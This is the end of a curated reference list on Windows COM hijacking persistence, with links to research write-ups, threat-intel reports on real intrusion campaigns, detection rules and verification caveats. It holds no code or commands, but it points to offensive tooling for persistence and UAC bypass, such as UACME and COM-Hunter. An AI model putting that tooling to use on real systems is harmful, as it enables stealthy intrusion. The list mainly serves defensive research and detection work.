https://github.com/nccgroup/Accomplice · https://www.slideshare.net/DavidTulis1/com-hijacking-techniques-derbycon-2019 - pentestlab: Persistence – COM Hijacking — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/ - 3gstudent: COM-Object-hijacking repo; Hijack Outlook — https://github.com/3gstudent/COM-Object-hijacking · https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/ - SpecterOps: Revisiting COM Hijacking (May 2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/ - CrowdStrike: New Abuse of the ClickOnce Technology: Part 2 — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/ - James Forshaw: oleviewdotnet + "COM in 60 Seconds" — https://github.com/tyranid/oleviewdotnet - TrustedSec CS-Situational-Awareness-BOF — https://github.com/trustedsec/CS-Situational-Awareness-BOF **Tooling** - COM-Hunter — https://github.com/nickvourd/COM-Hunter - SharpDllProxy — https://github.com/Flangvik/SharpDllProxy - hfiref0x/UACME — https://github.com/hfiref0x/UACME - Atomic Red Team T1546.015 — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md - EVTX-ATTACK-SAMPLES — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES **In-the-wild / vendor intel** - Cisco Talos: "Cyber Conflict" Decoy Document (Sednit; MMDeviceEnumerator) — https://blog.talosintelligence.com/cyber-conflict-decoy-document/ - ESET: Turla Outlook backdoor — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/ · https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf - ReliaQuest: Hijacked and Hidden (TypeLib hijack, Black Basta affiliate) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/ - FireEye/Mandiant: UNC2529 Triple Double — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html - VirusTotal: COM Objects Hijacking (Mar 2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html - NCSC (UK): MAR Authentic Antics — https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/authentic-antics/ncsc-mar-authentic_antics.pdf - HackTricks: COM Hijacking — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html **Detection** - SigmaHQ: registry_set_persistence_com_key_linking.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml - SigmaHQ: registry_set_treatas_persistence.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml - SigmaHQ registry_set directory — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/ - detection.fyi Sigma index — https://detection.fyi/ - Elastic: persistence_suspicious_com_hijack_registry — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml - Splunk: Eventvwr UAC Bypass — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/ - KnowYourAdversary #111 (Black Basta TypeLib hunting) — https://www.knowyouradversary.ru/2025/04/ - HexaStrike: COM Hijacking from a Defender's Perspective — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/ - SwiftOnSecurity sysmon-config — https://github.com/SwiftOnSecurity/sysmon-config **Caveats:** (1) G-Data 2014 author name and Hexacorn Part 84 body not re-fetched (URLs/titles verified via multiple citations). (2) First CAccPropServicesClass/MMDeviceEnumerator write-up attribution fuzzy — bohops + 2019 Chinese blogs are verifiable; ITW (APT28/Talos) solid. (3) `{01575CFE-...}`, `{AB8902B4-...}` are training examples (RTO/COM-Hunter); friendly names unconfirmed. (4) "TeaTimer" has no COM persistence linkage (negative result). (5) CrowdStrike ClickOnce hardcoded CLSID value not printed in accessible excerpt — pull full blog for slides.